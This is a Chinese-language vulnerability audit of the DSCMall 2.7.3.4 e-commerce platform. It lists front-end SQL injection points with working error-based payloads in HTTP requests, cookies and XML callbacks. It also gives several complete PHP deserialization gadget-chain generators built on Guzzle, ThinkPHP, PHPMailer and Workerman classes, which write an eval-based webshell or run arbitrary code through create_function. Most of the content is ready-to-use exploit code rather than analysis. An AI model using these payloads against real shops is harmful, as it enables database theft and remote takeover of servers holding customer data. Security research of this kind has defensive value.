0x00 基本信息
简介
这里是为了提交goexp,仅记录一点
这是一款多用户商城系统,审计版本为2.7.3.4
文件hash
必选项
c2b158f1a4c35a343fc5552543db3e7a
文件存储
必选项
- 源码:
https://pan.baidu.com/s/1NdMb89zAwX6je6OX-ohhKQ
cms指纹
可选项,后期必选
源码相关
- 官方网站:
https://www.dscmall.cn/
cms名字
必选项,实际名字或者化名
关联平台
类似第三方支付平台
软件安装
0x01 代码简单介绍
这里的代码是mvc和普通文件共存在
并且存在调用tp3的的基础库和laravel的基础库共存的情况
鉴权的方式就是admin_priv函数
正常情况下鉴权不通过会在标注的代码处直接退出
过滤方式,同样也是转义
在mobile下发现了框架的存在,这就是上面说的tp和laravel共存的
使用laravel加载的,但是model或者接收参数什么的都用的thinkphp
0x02 代码审计
代码体量还是很大的,仅部分记录前台的问题
SQL注入
SQL注入1
在ajax_dialog.php文件中
可以看到此处不需要单引号
直接复现,可以直接使用报错注入
SQL注入2
在wholesale_purchase.php文件中对keyword参数进行了反转义操作
跟进方法
漏洞复现
SQL注入3
在wxpay_native_callback.php文件中,解码xml数据
这里是在未配置的情况下
漏洞复现
1 2 3 4 5 6 7 8 9
| POST /wxpay_native_callback.php HTTP/1.1
<xml> <result_code>SUCCESS</result_code> <sign>79FEF92AD9BED9D018C17526278E8B6A</sign> <out_trade_no>1O1' and updatexml(1,concat(0x7e,user()),1)#</out_trade_no> <openid>1</openid> <transaction_id>a</transaction_id> </xml>
|
SQL注入4
框架中的没有转义
在框架中所有的前台方法都要走FrontendController
在这里面会调用ecjia_login方法
这里可以直接注入,我下的环境可以直接报错,不能报错的话可以用布尔
漏洞复现
1
| /mobile/index.php?m=brand&a=detail&id=141&origin=app&openid=1'+and+updatexml(1,concat(0x7e,md5(123)),1)%23
|
SQL注入5
在category控制器的products方法中调用了init_params方法
跟进方法
继续跟进
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12
| GET /mobile/index.php?m=category&a=products HTTP/1.1 Host: 127.0.0.1:8309 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: province=0' or updatexml(1,concat(0x7e,user()),1)#; Connection: close
|
反序列化漏洞
注入反序列化
可以通过注入达到反序列化的效果
跟进callback方法
这种不多说,调用反序列化函数的地方比较多,这种应该挺多的
反序列化漏洞1
chat模块的adminp控制器的index方法
从请求头中获取token
然后直接进行反序列化
反序列化漏洞2
chat模块的index控制器的index方法
反序列化漏洞3
wechat模块的api控制器的index方法
反序列化利用链
这里因为乱七八糟的,所以得找下代码执行的利用链
就以guzz为入口
为了方便向后续版本扩展这里以FileCookieJar为入口
在file_put_contents处触发tostring
toString用FnStream的
这里的任意调用不能传参数
第一处中间节点
EachPromise类的promise方法

跟进refillPending方法
传了参数但是参数不可控
其实大多数情况这种还得跳一次,但是这里不用了
第二处中间节点
Binding类的resolveTransformer方法,这个就是全部可控了
寻找代码执行点
这里面竟然没有什么其他代码执行的地方
还得尝试用tp3的点
sae的load方法
跟进
继续查看get方法
可以从数组种取,所以这也是第一处中间节点是不可控也可以的原因
最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php
namespace Think\Storage\Driver{ class Sae{ public $contents; public function __construct() { $this->contents = array("a"=>"0123456789<?php eval(\$_REQUEST['img']);"); } } }
namespace Dingo\Api\Transformer{ use Think\Storage\Driver\Sae; class Binding{ public $resolver; public $container; public function __construct() { $this->resolver = array(new Sae(),'load'); $this->container = "a"; } } }
namespace GuzzleHttp\Psr7{ use Dingo\Api\Transformer\Binding; class FnStream{ public $method; public function __construct() { $this->method = ["__toString"=>[new Binding(),"resolveTransformer"]]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } }
namespace GuzzleHttp\Cookie{ use GuzzleHttp\Psr7\FnStream; class FileCookieJar{ public $filename; public $storeSessionCookies; public function __construct() { $this->filename = new FnStream(); $this->storeSessionCookies = 1; } } }
namespace { use GuzzleHttp\Cookie\FileCookieJar; $exception = new FileCookieJar(); $a = serialize($exception); $b = str_replace('\\','\\\\',$a); $c = str_replace('"','\"',$b); echo $c; }
|
上面是代码执行的链但是有一点就是受<的限制
扩展1
两种方法
- 寻找一个tostring,存在<
- 找一个新的不需要<的地方
第一种
phpDocumentor\Reflection\DocBlock\Tags\Author
类的toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php namespace phpDocumentor\Reflection\DocBlock\Tags{ class Author{ public $authorName = "0123456789"; public $authorEmail = "?php eval(\$_REQUEST['img']);//"; } }
namespace Think\Storage\Driver{ use phpDocumentor\Reflection\DocBlock\Tags\Author; class Sae{ public $contents; public function __construct() { $this->contents = array("a"=>new Author()); } } }
namespace Dingo\Api\Transformer{ use Think\Storage\Driver\Sae; class Binding{ public $resolver; public $container; public function __construct() { $this->resolver = array(new Sae(),'load'); $this->container = "a"; } } }
namespace GuzzleHttp\Psr7{ use Dingo\Api\Transformer\Binding; class FnStream{ public $method; public function __construct() { $this->method = ["__toString"=>[new Binding(),"resolveTransformer"]]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } }
namespace GuzzleHttp\Cookie{ use GuzzleHttp\Psr7\FnStream; class FileCookieJar{ public $filename; public $storeSessionCookies; public function __construct() { $this->filename = new FnStream(); $this->storeSessionCookies = 1; } } }
namespace { use GuzzleHttp\Cookie\FileCookieJar; $exception = new FileCookieJar(); $a = serialize($exception); echo $a; }
|
第二种
暂时不看了
扩展2
还有一种问题就是参数的属性问题不正确无法反序列化
因为在私有属性或者受保护属性前面会有00字符,public不存在
比如private属性
protected属性
这种在windows下测试全部都用public也可以,但是linux必须用原始的属性值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php
namespace Think\Storage\Driver{ class Sae{ private $contents; public function __construct() { $this->contents = array("a"=>"0123456789<?php phpinfo();exit;"); } } }
namespace Dingo\Api\Transformer{ use Think\Storage\Driver\Sae; class Binding{ protected $resolver; protected $container; public function __construct() { $this->resolver = array(new Sae(),'load'); $this->container = "a"; } } }
namespace GuzzleHttp\Psr7{ use Dingo\Api\Transformer\Binding; class FnStream{ private $method; public function __construct() { $this->method = ["close"=>[new Binding(),"resolveTransformer"]]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } }
namespace GuzzleHttp\Cookie{ use GuzzleHttp\Psr7\FnStream; class FileCookieJar{ public $filename; public $storeSessionCookies; public function __construct() { $this->filename = new FnStream(); $this->storeSessionCookies = 1; } } }
namespace { // use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Psr7\FnStream; $exception = new FnStream(); $a = serialize($exception); echo urlencode(urlencode(addslashes($a))); }
|
那么关于上面第二个从header种获取token的,就需要一个全部是public属性的链子
尝试去找一找
第一种
第一种全public属性的链子,还有限制,就是需要存在换行,还是不能在请求头中使用
入口点,依然用FnStream类
这里找了一处两个参数全部都是public的,PHPMailer类
但是很明显的是str参数并不可控,所以用不了create_function
最终找到一处set方法,这里是tp的写缓存,需要使用到换行符
文件名会被MD5加密
这个链子还有一个难点就是PHPMailer类并不能被autoload
因为命名不规范,无法通过自动加载
这个时候可以看看这个类是怎么调用的,经过查找,发现在email文件中进行了包含调用
那么可以先自动加载这个email ,由于这里已经包含了phpmailer,所以后面就不需要去加载这个类了,直接用就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php namespace App\Channels\Email{ class Email{ } } namespace GuzzleHttp\Psr7{ use App\Channels\Email\Email; use \PHPMailer; class FnStream{ public $method; public function __construct() { $this->method = ["__toString"=>[new Email(),"getError"],"close"=>[new PHPMailer(),"postSend"]]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } } namespace Think\Cache\Driver{ class File { } } namespace{ use Think\Cache\Driver\File; use GuzzleHttp\Psr7\FnStream; class PHPMailer{ public $Debugoutput; public $SMTPDebug; public $Mailer = 'smtp'; public function __construct() { $this->Debugoutput = [new File(),"set"]; $this->SMTPDebug = "1aa\rphpinfo();//";
} } $exception = new FnStream(); $a = serialize($exception); echo urlencode(urlencode(addslashes($a))); }
|
最终生成文件如下

由于实际环境没法用,并未纠结文件名问题
第二种
依然是FnStream为入口
发现workman的soket类成员变量全部是public属性
有一个onDrainCallback方法,可以达成完全可控的任意调用
为了任意代码执行
继续往下找
在ev类中
这个时候随便找一个具有成员变量data是public属性的类
可以用laravel的基础类
最终实现全public的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php namespace Workerman\Events{ class Ev{} }
namespace Illuminate\Events{ class CallQueuedListener{ public $data; public function __construct(){ $this->data = array( 'create_function', array('','echo test;};phpinfo();//;'), 3, 4, 5, ); } } }
namespace PHPSocketIO\Engine{ use Workerman\Events\Ev; use Illuminate\Events\CallQueuedListener; class Socket{ public $sentCallbackFn; public $transport; public function __construct(){ $this->sentCallbackFn = [[new Ev(),"timerCallback"]]; $this->transport = new CallQueuedListener(); } } }
namespace GuzzleHttp\Psr7{ use PHPSocketIO\Engine\Socket; class FnStream{ public $method; public function __construct() { $this->method = ["close"=>[new Socket(),"onDrainCallback"]]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } }
namespace { use GuzzleHttp\Psr7\FnStream; $exception = new FnStream(); $a = serialize($exception); echo urlencode(urlencode(addslashes($a))); }
|
0x03 end
…